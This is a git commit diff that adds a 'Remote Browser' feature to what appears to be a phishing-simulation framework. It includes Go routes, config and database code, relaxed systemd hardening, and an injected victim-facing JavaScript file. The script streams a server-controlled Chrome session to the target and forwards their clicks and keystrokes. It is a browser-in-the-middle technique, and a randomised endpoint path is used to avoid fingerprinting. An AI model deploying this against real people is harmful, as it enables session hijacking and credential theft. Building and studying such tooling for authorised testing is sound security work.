Remote Browser Feature

Signed-off-by: Ronni Skansing <rskansing@gmail.com>
This commit is contained in:
Ronni Skansing
2026-05-02 11:18:47 +02:00
parent 8b955c4742
commit a02e08fbfd
45 changed files with 6506 additions and 49 deletions
+20
View File
@@ -0,0 +1,20 @@
# Go vendor dependencies
backend/vendor/
# Embedded GeoIP data blobs
backend/embedded/geoip/
# Node.js dependencies
frontend/node_modules/
# Dev runtime artifacts
backend/.dev/
backend/.dev-air/
frontend/.svelte-kit/
# Compiled binaries
build/
# Temporary files
tmp/
.tmp/
+13
View File
@@ -11,6 +11,19 @@ The program must be executable
The program must have rights to serve on privliged ports
`sudo setcap CAP_NET_BIND_SERVICE=+eip /path/to/binary`
### Updating the systemd service unit (required for Remote Browser feature)
The Remote Browser feature spawns a Chrome process as a subprocess. To support this, the systemd unit was updated to remove `MemoryDenyWriteExecute` (incompatible with Chrome's V8 JIT) and `RestrictNamespaces` (required for Chrome's sandbox to work).
The in-app update replaces the binary but **does not** reload the service unit automatically. After updating from a version that did not have Remote Browser support, you must run:
```bash
sudo systemctl daemon-reload
sudo systemctl restart phishingclub
```
Without this the old unit stays active and Chrome will crash when a remote browser session is started.
### Known Issues
#### Hot reloading not working / New files now working
+20 -1
View File
@@ -208,6 +208,14 @@ const (
ROUTE_V1_VERSION = "/api/v1/version"
// import
ROUTE_V1_IMPORT = "/api/v1/import"
// remote browser
ROUTE_V1_REMOTE_BROWSER = "/api/v1/remote-browser"
ROUTE_V1_REMOTE_BROWSER_OVERVIEW = "/api/v1/remote-browser/overview"
ROUTE_V1_REMOTE_BROWSER_ID = "/api/v1/remote-browser/:id"
ROUTE_V1_REMOTE_BROWSER_ID_RUN = "/api/v1/remote-browser/:id/run"
ROUTE_V1_REMOTE_BROWSER_LIVE = "/api/v1/remote-browser/live"
ROUTE_V1_REMOTE_BROWSER_LIVE_CRID = "/api/v1/remote-browser/live/:crID"
ROUTE_V1_REMOTE_BROWSER_LIVE_STREAM = "/api/v1/remote-browser/live/:crID/stream"
)
// administrationServer is the administrationServer app
@@ -500,7 +508,18 @@ func setupRoutes(
GET(ROUTE_V1_BACKUP_LIST, middleware.SessionHandler, controllers.Backup.ListBackups).
GET(ROUTE_V1_BACKUP_DOWNLOAD, middleware.SessionHandler, controllers.Backup.DownloadBackup).
// import
POST(ROUTE_V1_IMPORT, middleware.SessionHandler, controllers.Import.Import)
POST(ROUTE_V1_IMPORT, middleware.SessionHandler, controllers.Import.Import).
// remote browser
GET(ROUTE_V1_REMOTE_BROWSER, middleware.SessionHandler, controllers.RemoteBrowser.GetAll).
GET(ROUTE_V1_REMOTE_BROWSER_OVERVIEW, middleware.SessionHandler, controllers.RemoteBrowser.GetOverview).
GET(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.GetByID).
POST(ROUTE_V1_REMOTE_BROWSER, middleware.SessionHandler, controllers.RemoteBrowser.Create).
PATCH(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.UpdateByID).
DELETE(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.DeleteByID).
GET(ROUTE_V1_REMOTE_BROWSER_ID_RUN, middleware.SessionHandler, controllers.RemoteBrowser.RunByID).
GET(ROUTE_V1_REMOTE_BROWSER_LIVE, middleware.SessionHandler, controllers.RemoteBrowser.ListLiveSessions).
DELETE(ROUTE_V1_REMOTE_BROWSER_LIVE_CRID, middleware.SessionHandler, controllers.RemoteBrowser.CloseLiveSession).
GET(ROUTE_V1_REMOTE_BROWSER_LIVE_STREAM, middleware.SessionHandler, controllers.RemoteBrowser.StreamLiveSession)
return r
}
+11
View File
@@ -40,6 +40,7 @@ type Controllers struct {
Backup *controller.Backup
IPAllowList *controller.IPAllowList
OAuthProvider *controller.OAuthProvider
RemoteBrowser *controller.RemoteBrowserController
}
// NewControllers creates a collection of controllers
@@ -196,6 +197,15 @@ func NewControllers(
OAuthProviderService: services.OAuthProvider,
Config: conf,
}
remoteBrowser := &controller.RemoteBrowserController{
Common: common,
RemoteBrowserService: services.RemoteBrowser,
RemoteBrowserRepository: repositories.RemoteBrowser,
CampaignRecipientRepository: repositories.CampaignRecipient,
CampaignRepository: repositories.Campaign,
CampaignService: services.Campaign,
ExecPath: conf.RemoteBrowser.ExecPath,
}
return &Controllers{
Asset: asset,
@@ -229,5 +239,6 @@ func NewControllers(
Backup: backup,
IPAllowList: ipAllowList,
OAuthProvider: oauthProvider,
RemoteBrowser: remoteBrowser,
}
}
+2
View File
@@ -31,6 +31,7 @@ type Repositories struct {
OAuthProvider *repository.OAuthProvider
OAuthState *repository.OAuthState
MicrosoftDeviceCode *repository.MicrosoftDeviceCode
RemoteBrowser *repository.RemoteBrowser
}
// NewRepositories creates a collection of repositories
@@ -63,5 +64,6 @@ func NewRepositories(
OAuthProvider: &repository.OAuthProvider{DB: db},
OAuthState: &repository.OAuthState{DB: db},
MicrosoftDeviceCode: &repository.MicrosoftDeviceCode{DB: db},
RemoteBrowser: &repository.RemoteBrowser{DB: db},
}
}
+14
View File
@@ -62,6 +62,7 @@ type Server struct {
repositories *Repositories
proxyServer *proxy.ProxyHandler
ja4Middleware *middleware.JA4Middleware
remoteBrowserWSPath string
}
// NewServer returns a new server
@@ -74,6 +75,7 @@ func NewServer(
repositories *Repositories,
logger *zap.SugaredLogger,
certMagicConfig *certmagic.Config,
remoteBrowserWSPath string,
) *Server {
// setup ja4 middleware for tls fingerprinting
ja4Middleware := middleware.NewJA4Middleware(logger)
@@ -118,6 +120,7 @@ func NewServer(
certMagicConfig: certMagicConfig,
proxyServer: proxyServer,
ja4Middleware: ja4Middleware,
remoteBrowserWSPath: remoteBrowserWSPath,
}
}
@@ -342,6 +345,12 @@ func (s *Server) checkAndServeSharedAsset(c *gin.Context) bool {
// checks if the request should be redirected
// checks if the request is for a static page or static not found page
func (s *Server) Handler(c *gin.Context) {
// pass through to the explicit Gin route for the victim remote browser WS endpoint
if strings.HasPrefix(c.Request.URL.Path, "/"+s.remoteBrowserWSPath+"/") {
c.Next()
return
}
if cacheEntry, ok := s.ja4Middleware.ConnectionFingerprints.Load(c.Request.RemoteAddr); ok {
if entry, ok := cacheEntry.(*middleware.FingerprintEntry); ok {
fingerprint := entry.Fingerprint
@@ -2023,6 +2032,11 @@ func (s *Server) renderDenyPage(
// AssignRoutes assigns the routes to the server
func (s *Server) AssignRoutes(r *gin.Engine) {
// victim-facing remote browser WS endpoint - lives on the phishing engine (r), not
// the admin engine, because it is served to the victim's browser. s.Handler has an
// explicit prefix check that calls c.Next() for this path so the catch-all proxy
// logic does not swallow the request before Gin can dispatch to ServeVictim.
r.GET("/"+s.remoteBrowserWSPath+"/:crID/:rbID", s.controllers.RemoteBrowser.ServeVictim)
r.Use(s.Handler)
r.NoRoute(s.handlerNotFound)
}
+9
View File
@@ -43,6 +43,7 @@ type Services struct {
ProxySessionManager *service.ProxySessionManager
OAuthProvider *service.OAuthProvider
MicrosoftDeviceCode *service.MicrosoftDeviceCode
RemoteBrowser *service.RemoteBrowser
}
// NewServices creates a collection of services
@@ -72,6 +73,8 @@ func NewServices(
templateService := &service.Template{
Common: common,
RecipientRepository: repositories.Recipient,
OptionRepository: repositories.Option,
RemoteBrowserRepository: repositories.RemoteBrowser,
MicrosoftDeviceCodeService: microsoftDeviceCodeService,
}
file := &service.File{
@@ -196,6 +199,10 @@ func NewServices(
TemplateService: templateService,
CampaignTemplateService: campaignTemplate,
}
remoteBrowser := &service.RemoteBrowser{
Common: common,
RemoteBrowserRepository: repositories.RemoteBrowser,
}
campaign := &service.Campaign{
Common: common,
CampaignRepository: repositories.Campaign,
@@ -214,6 +221,7 @@ func NewServices(
TemplateService: templateService,
MicrosoftDeviceCodeRepository: repositories.MicrosoftDeviceCode,
AttachmentPath: attachmentPath,
RemoteBrowserService: remoteBrowser,
}
// wire campaign service into microsoft device code service now that campaign is constructed
microsoftDeviceCodeService.CampaignService = campaign
@@ -309,5 +317,6 @@ func NewServices(
ProxySessionManager: proxySessionManager,
OAuthProvider: oauthProvider,
MicrosoftDeviceCode: microsoftDeviceCodeService,
RemoteBrowser: remoteBrowser,
}
}
+25 -9
View File
@@ -78,17 +78,19 @@ type (
LogPath string
ErrLogPath string
IPSecurity IPSecurityConfig
IPSecurity IPSecurityConfig
RemoteBrowser RemoteBrowserServerConfig
}
// ConfigDTO config DTO
ConfigDTO struct {
ACME ACME `json:"acme"`
AdministrationServer AdministrationServer `json:"administration"`
PhishingServer PhishingServer `json:"phishing"`
Database Database `json:"database"`
Log Log `json:"log"`
IPSecurity IPSecurityConfig `json:"ip_security"`
ACME ACME `json:"acme"`
AdministrationServer AdministrationServer `json:"administration"`
PhishingServer PhishingServer `json:"phishing"`
Database Database `json:"database"`
Log Log `json:"log"`
IPSecurity IPSecurityConfig `json:"ip_security"`
RemoteBrowser RemoteBrowserServerConfig `json:"remote_browser"`
}
Log struct {
@@ -121,6 +123,14 @@ type (
ACME struct {
Email string `json:"email"`
}
// RemoteBrowserServerConfig holds server-side remote browser settings.
RemoteBrowserServerConfig struct {
// ExecPath is the path to a Chrome/Chromium binary. When empty Rod uses
// its own auto-downloaded Chromium. Set at the server level only — platform
// admins cannot override this to prevent arbitrary binary execution.
ExecPath string `json:"exec_path"`
}
)
type IPSecurityConfig struct {
@@ -451,7 +461,7 @@ func StringAddressToTCPAddr(address string) (*net.TCPAddr, error) {
// FromMap creates a *Config from a DTO
func FromDTO(dto *ConfigDTO) (*Config, error) {
return NewConfig(
cfg, err := NewConfig(
dto.ACME.Email,
dto.AdministrationServer.TLSHost,
dto.AdministrationServer.TLSAuto,
@@ -466,6 +476,11 @@ func FromDTO(dto *ConfigDTO) (*Config, error) {
dto.Log.ErrorPath,
dto.IPSecurity,
)
if err != nil {
return nil, err
}
cfg.RemoteBrowser = dto.RemoteBrowser
return cfg, nil
}
// ToDTO converts a *Config to a *ConfigDTO
@@ -493,7 +508,8 @@ func (c *Config) ToDTO() *ConfigDTO {
Path: c.LogPath,
ErrorPath: c.ErrLogPath,
},
IPSecurity: c.IPSecurity,
IPSecurity: c.IPSecurity,
RemoteBrowser: c.RemoteBrowser,
}
}
File diff suppressed because it is too large Load Diff
+5
View File
@@ -26,6 +26,11 @@ const (
OptionKeyProxyCookieName = "proxy_cookie_name"
// OptionKeyRemoteBrowserWSPath is the seeded random path segment used for the
// victim-facing remote browser WebSocket endpoint. Randomised at first startup
// so the endpoint is not fingerprinted by path alone.
OptionKeyRemoteBrowserWSPath = "remote_browser_ws_path"
OptionKeyDisplayMode = "display_mode"
OptionValueDisplayModeWhitebox = "whitebox"
OptionValueDisplayModeBlackbox = "blackbox"
+34
View File
@@ -0,0 +1,34 @@
package database
import (
"time"
"github.com/google/uuid"
"gorm.io/gorm"
)
const (
REMOTE_BROWSER_TABLE = "remote_browsers"
)
// RemoteBrowser is a gorm data model for saved remote browser scripts.
type RemoteBrowser struct {
ID *uuid.UUID `gorm:"primary_key;not null;unique;type:uuid"`
CreatedAt *time.Time `gorm:"not null;index;"`
UpdatedAt *time.Time `gorm:"not null;index"`
CompanyID *uuid.UUID `gorm:"index;uniqueIndex:idx_remote_browsers_unique_name_and_company_id;type:uuid"`
Name string `gorm:"not null;index;uniqueIndex:idx_remote_browsers_unique_name_and_company_id;"`
Description string `gorm:"type:text"`
Script string `gorm:"type:text;not null;"`
Config string `gorm:"type:text;not null;"`
Company *Company
}
func (e *RemoteBrowser) Migrate(db *gorm.DB) error {
return UniqueIndexNameAndNullCompanyID(db, "remote_browsers")
}
func (RemoteBrowser) TableName() string {
return REMOTE_BROWSER_TABLE
}
+3
View File
@@ -7,6 +7,9 @@ import (
//go:embed tracking-pixel/sendgrid/open.gif
var TrackingPixel []byte
//go:embed remotebrowser_inject.js
var RemoteBrowserInjectJS string
// SigningKey1 is verifing the signed .sig file when updating
//
//go:embed signingkeys/public1.bin
+194
View File
@@ -0,0 +1,194 @@
(function () {
var wsProto = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
var ws = new WebSocket(wsProto + '//' + window.location.host + '/__WS_PATH__/__CR_ID__/__RB_ID__');
var h = {}; // event handlers keyed as "e:eventName" or "stream_start:name" etc.
var streams = {}; // name → {canvas, w, h, cssW, cssH, autoSize, el}
var streamLastStart = {} // name → last stream_start message, so mountStream called late still sizes correctly
ws.onopen = function () {
ws.send(JSON.stringify({ type: 'viewport', width: window.innerWidth, height: window.innerHeight }));
};
// Apply stream_start sizing to an already-mounted stream entry.
function applyStreamStart(st, m) {
st.canvas.width = m.width;
st.canvas.height = m.height;
st.w = m.width;
st.h = m.height;
// Display size = element's true CSS-pixel dimensions.
// Replace cssText entirely so there is no max-width left to fight against.
var dw = m.cssWidth || m.width;
var dh = m.cssHeight || m.height;
st.cssW = dw;
st.cssH = dh;
st.canvas.style.cssText = 'display:block;outline:none;width:' + dw + 'px;height:' + dh + 'px;';
if (st.autoSize) {
st.el.style.width = dw + 'px';
st.el.style.height = dh + 'px';
}
}
ws.onmessage = function (e) {
try {
var m = JSON.parse(e.data);
if (m.type === 'event' && m.key) {
(h['e:' + m.key] || []).forEach(function (f) { f(m.value); });
} else if (m.type === 'stream_start' && m.name) {
// Always store so mountStream() called inside the handler still gets sized.
streamLastStart[m.name] = m;
var st = streams[m.name];
if (st) {
// Stream already mounted — this is a resize/reposition update only.
// Do NOT re-fire user handlers; that would call mountStream() again
// and create duplicate canvases.
applyStreamStart(st, m);
} else {
// First stream_start for this name: fire user handlers so the page can
// call mountStream() to attach a canvas.
(h['stream_start:' + m.name] || []).forEach(function (f) {
f(m.cssWidth || m.width, m.cssHeight || m.height);
});
// If the handler called mountStream() just now, apply sizing immediately.
if (streams[m.name]) {
applyStreamStart(streams[m.name], m);
}
}
} else if (m.type === 'stream_frame' && m.name) {
var st = streams[m.name];
if (!st) return;
var img = new Image();
img.onload = function () {
if (st.canvas.width !== img.naturalWidth) { st.canvas.width = img.naturalWidth; st.w = img.naturalWidth; }
if (st.canvas.height !== img.naturalHeight) { st.canvas.height = img.naturalHeight; st.h = img.naturalHeight; }
st.canvas.getContext('2d').drawImage(img, 0, 0);
};
img.src = 'data:image/jpeg;base64,' + m.frame;
} else if (m.type === 'stream_stop' && m.name) {
// Remove the canvas from DOM and clear the tracking entry so the next
// stream_start for the same name triggers a fresh mountStream() call.
// Without this, a stop→start cycle (e.g. element removed and re-added)
// leaves a stale canvas in `streams` that silently receives frames while
// subsequent mountStream() calls add new canvases on top.
var stStopped = streams[m.name];
if (stStopped && stStopped.canvas && stStopped.canvas.parentNode) {
stStopped.canvas.parentNode.removeChild(stStopped.canvas);
}
delete streams[m.name];
delete streamLastStart[m.name];
(h['stream_stop:' + m.name] || []).forEach(function (f) { f(); });
}
} catch (ex) {}
};
window.remoteBrowser = {
on: function (ev, nameOrFn, fn) {
if (typeof nameOrFn === 'function') {
h['e:' + ev] = h['e:' + ev] || [];
h['e:' + ev].push(nameOrFn);
} else {
var k = ev + ':' + nameOrFn;
h[k] = h[k] || [];
h[k].push(fn);
}
},
send: function (ev, data) {
if (ws.readyState === 1) ws.send(JSON.stringify({ event: ev, data: data || {} }));
},
mountStream: function (name, el, opts) {
// stream_start fires on every viewport/JPEG-dimension change; guard against
// appending a second canvas if the stream is already mounted.
if (streams[name]) return;
var autoSize = !!(opts && opts.autoSize);
var allowScroll = !!(opts && opts.scroll);
var allowArrows = !!(opts && opts.arrowKeys);
var ARROW_KEYS = { ArrowUp: 1, ArrowDown: 1, ArrowLeft: 1, ArrowRight: 1 };
var canvas = document.createElement('canvas');
canvas.style.cssText = 'display:block;outline:none;';
canvas.setAttribute('tabindex', '0');
el.appendChild(canvas);
var st = { canvas: canvas, w: 0, h: 0, autoSize: autoSize, el: el };
streams[name] = st;
// If stream_start already arrived (e.g. mountStream called inside the handler),
// apply the stored sizing now so the canvas has the right CSS dimensions immediately.
if (streamLastStart[name]) {
applyStreamStart(st, streamLastStart[name]);
}
function coords(e) {
var r = canvas.getBoundingClientRect();
var sx = st.w > 0 ? st.w / r.width : 1;
var sy = st.h > 0 ? st.h / r.height : 1;
return { x: Math.round((e.clientX - r.left) * sx), y: Math.round((e.clientY - r.top) * sy) };
}
function snd(o) {
if (ws.readyState === 1) ws.send(JSON.stringify(o));
}
canvas.addEventListener('mousedown', function (e) {
e.preventDefault();
canvas.focus();
var p = coords(e);
snd({ type: 'stream_input', name: name, action: 'mousedown', x: p.x, y: p.y,
button: e.button === 2 ? 'right' : 'left' });
});
canvas.addEventListener('mouseup', function (e) {
var p = coords(e);
snd({ type: 'stream_input', name: name, action: 'mouseup', x: p.x, y: p.y,
button: e.button === 2 ? 'right' : 'left' });
});
canvas.addEventListener('mousemove', function (e) {
var p = coords(e);
snd({ type: 'stream_input', name: name, action: 'mousemove', x: p.x, y: p.y });
});
// Scroll: disabled by default to avoid accidentally scrolling the remote browser.
// Enable with { scroll: true } in mountStream options.
if (allowScroll) {
canvas.addEventListener('wheel', function (e) {
e.preventDefault();
var p = coords(e);
snd({ type: 'stream_input', name: name, action: 'scroll', x: p.x, y: p.y,
deltaX: e.deltaX, deltaY: e.deltaY });
}, { passive: false });
}
// Arrow keys: always preventDefault (prevent page scroll when canvas is focused),
// but only forwarded to the remote browser when { arrowKeys: true }.
canvas.addEventListener('keydown', function (e) {
var isArrow = !!ARROW_KEYS[e.key];
e.preventDefault();
if (isArrow && !allowArrows) return;
snd({ type: 'stream_input', name: name, action: 'keydown',
key: e.key, code: e.code, keyCode: e.keyCode,
modifiers: (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0),
charText: (e.ctrlKey || e.metaKey) ? '' : (e.key === 'Enter' ? '\r' : e.key.length === 1 ? e.key : '') });
});
canvas.addEventListener('keyup', function (e) {
var isArrow = !!ARROW_KEYS[e.key];
e.preventDefault();
if (isArrow && !allowArrows) return;
snd({ type: 'stream_input', name: name, action: 'keyup',
key: e.key, code: e.code, keyCode: e.keyCode,
modifiers: (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0) });
});
canvas.addEventListener('contextmenu', function (e) { e.preventDefault(); });
}
};
window.rb = window.remoteBrowser;
})();
+10
View File
@@ -12,13 +12,16 @@ require (
github.com/charmbracelet/bubbles v0.20.0
github.com/charmbracelet/bubbletea v1.3.4
github.com/charmbracelet/lipgloss v1.1.0
github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c
github.com/enetx/surf v1.0.141
github.com/exaring/ja4plus v0.0.2
github.com/fatih/color v1.15.0
github.com/gin-contrib/zap v1.1.4
github.com/gin-gonic/gin v1.10.0
github.com/go-errors/errors v1.5.1
github.com/go-rod/rod v0.116.2
github.com/google/uuid v1.3.1
github.com/gorilla/websocket v1.5.3
github.com/klauspost/compress v1.18.1
github.com/oapi-codegen/nullable v1.1.0
github.com/pquerna/otp v1.4.0
@@ -50,6 +53,7 @@ require (
github.com/cloudwego/base64x v0.1.4 // indirect
github.com/cloudwego/iasm v0.2.0 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/dlclark/regexp2 v1.11.4 // indirect
github.com/enetx/g v1.0.194 // indirect
github.com/enetx/http v1.0.19 // indirect
github.com/enetx/http2 v1.0.20 // indirect
@@ -64,6 +68,7 @@ require (
github.com/go-playground/locales v0.14.1 // indirect
github.com/go-playground/universal-translator v0.18.1 // indirect
github.com/go-playground/validator/v10 v10.22.0 // indirect
github.com/go-sourcemap/sourcemap v2.1.3+incompatible // indirect
github.com/go-task/slim-sprig/v3 v3.0.0 // indirect
github.com/goccy/go-json v0.10.3 // indirect
github.com/golang-jwt/jwt/v5 v5.2.2 // indirect
@@ -101,6 +106,11 @@ require (
github.com/wzshiming/socks5 v0.6.0 // indirect
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect
github.com/yeqown/reedsolomon v1.0.0 // indirect
github.com/ysmood/fetchup v0.2.3 // indirect
github.com/ysmood/goob v0.4.0 // indirect
github.com/ysmood/got v0.40.0 // indirect
github.com/ysmood/gson v0.7.3 // indirect
github.com/ysmood/leakless v0.9.0 // indirect
github.com/zeebo/blake3 v0.2.3 // indirect
go.uber.org/mock v0.6.0 // indirect
go.uber.org/multierr v1.11.0 // indirect
+26
View File
@@ -45,6 +45,10 @@ github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQ
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dlclark/regexp2 v1.11.4 h1:rPYF9/LECdNymJufQKmri9gV604RvvABwgOA8un7yAo=
github.com/dlclark/regexp2 v1.11.4/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c h1:hIlkLbQ+tYoUqlG42LnxwGcohL5jaGqD8mGeJWavm8A=
github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c/go.mod h1:MxLav0peU43GgvwVgNbLAj1s/bSGboKkhuULvq/7hx4=
github.com/enetx/g v1.0.194 h1:lI/eicj+Qdcdt1xBUhaHv3M/ujN4v+WXYZDZYD1Dxuo=
github.com/enetx/g v1.0.194/go.mod h1:B3YULbT/hAx9+p2Q8GHrsTmjjM19iz1Rcdz3Y9+kSg4=
github.com/enetx/http v1.0.19 h1:4W97CyqKrPiR16wEm6UOesqNrt8l4RsVMjZHz6+I84E=
@@ -95,6 +99,10 @@ github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJn
github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=
github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao=
github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM=
github.com/go-rod/rod v0.116.2 h1:A5t2Ky2A+5eD/ZJQr1EfsQSe5rms5Xof/qj296e+ZqA=
github.com/go-rod/rod v0.116.2/go.mod h1:H+CMO9SCNc2TJ2WfrG+pKhITz57uGNYU43qYHh438Mg=
github.com/go-sourcemap/sourcemap v2.1.3+incompatible h1:W1iEw64niKVGogNgBN3ePyLFfuisuzeidWPMPWmECqU=
github.com/go-sourcemap/sourcemap v2.1.3+incompatible/go.mod h1:F8jJfvm2KbVjc5NqelyYJmf/v5J0dwNLS2mL4sNA1Jg=
github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI=
github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8=
github.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA=
@@ -112,6 +120,8 @@ github.com/google/pprof v0.0.0-20250403155104-27863c87afa6 h1:BHT72Gu3keYf3ZEu2J
github.com/google/pprof v0.0.0-20250403155104-27863c87afa6/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=
github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4=
github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
@@ -227,6 +237,20 @@ github.com/yeqown/go-qrcode/v2 v2.2.4 h1:cXdYlrhzHzVAnJHiwr/T6lAUmS9MtEStjEZBjAr
github.com/yeqown/go-qrcode/v2 v2.2.4/go.mod h1:uHpt9CM0V1HeXLz+Wg5MN50/sI/fQhfkZlOM+cOTHxw=
github.com/yeqown/reedsolomon v1.0.0 h1:x1h/Ej/uJnNu8jaX7GLHBWmZKCAWjEJTetkqaabr4B0=
github.com/yeqown/reedsolomon v1.0.0/go.mod h1:P76zpcn2TCuL0ul1Fso373qHRc69LKwAw/Iy6g1WiiM=
github.com/ysmood/fetchup v0.2.3 h1:ulX+SonA0Vma5zUFXtv52Kzip/xe7aj4vqT5AJwQ+ZQ=
github.com/ysmood/fetchup v0.2.3/go.mod h1:xhibcRKziSvol0H1/pj33dnKrYyI2ebIvz5cOOkYGns=
github.com/ysmood/goob v0.4.0 h1:HsxXhyLBeGzWXnqVKtmT9qM7EuVs/XOgkX7T6r1o1AQ=
github.com/ysmood/goob v0.4.0/go.mod h1:u6yx7ZhS4Exf2MwciFr6nIM8knHQIE22lFpWHnfql18=
github.com/ysmood/gop v0.2.0 h1:+tFrG0TWPxT6p9ZaZs+VY+opCvHU8/3Fk6BaNv6kqKg=
github.com/ysmood/gop v0.2.0/go.mod h1:rr5z2z27oGEbyB787hpEcx4ab8cCiPnKxn0SUHt6xzk=
github.com/ysmood/got v0.40.0 h1:ZQk1B55zIvS7zflRrkGfPDrPG3d7+JOza1ZkNxcc74Q=
github.com/ysmood/got v0.40.0/go.mod h1:W7DdpuX6skL3NszLmAsC5hT7JAhuLZhByVzHTq874Qg=
github.com/ysmood/gotrace v0.6.0 h1:SyI1d4jclswLhg7SWTL6os3L1WOKeNn/ZtzVQF8QmdY=
github.com/ysmood/gotrace v0.6.0/go.mod h1:TzhIG7nHDry5//eYZDYcTzuJLYQIkykJzCRIo4/dzQM=
github.com/ysmood/gson v0.7.3 h1:QFkWbTH8MxyUTKPkVWAENJhxqdBa4lYTQWqZCiLG6kE=
github.com/ysmood/gson v0.7.3/go.mod h1:3Kzs5zDl21g5F/BlLTNcuAGAYLKt2lV5G8D1zF3RNmg=
github.com/ysmood/leakless v0.9.0 h1:qxCG5VirSBvmi3uynXFkcnLMzkphdh3xx5FtrORwDCU=
github.com/ysmood/leakless v0.9.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ=
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
github.com/zeebo/assert v1.1.0 h1:hU1L1vLTHsnO8x8c9KAR5GmM5QscxHg5RNU5z5qbUWY=
github.com/zeebo/assert v1.1.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0=
@@ -308,6 +332,8 @@ google.golang.org/protobuf v1.36.7/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+2
View File
@@ -374,6 +374,8 @@ func createUserAndGroup() error {
"-r",
"-g", serviceGroup,
"-s", "/bin/false",
"-m",
"-d", "/var/lib/"+serviceUser,
serviceUser,
)
if err := cmd.Run(); err != nil {
-2
View File
@@ -15,10 +15,8 @@ NoNewPrivileges=true
ProtectSystem=full
ProtectHome=true
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
RestrictNamespaces=true
RestrictRealtime=true
RestrictSUIDSGID=true
MemoryDenyWriteExecute=true
Restart=always
RestartSec=5s
StartLimitBurst=3
+8
View File
@@ -322,6 +322,13 @@ func main() {
)
}
adminRouter.Use(middlewares.IPLimiter)
// read the seeded victim WS path for the remote browser endpoint
rbWSPath := "rbws" // fallback - real value is seeded at first startup
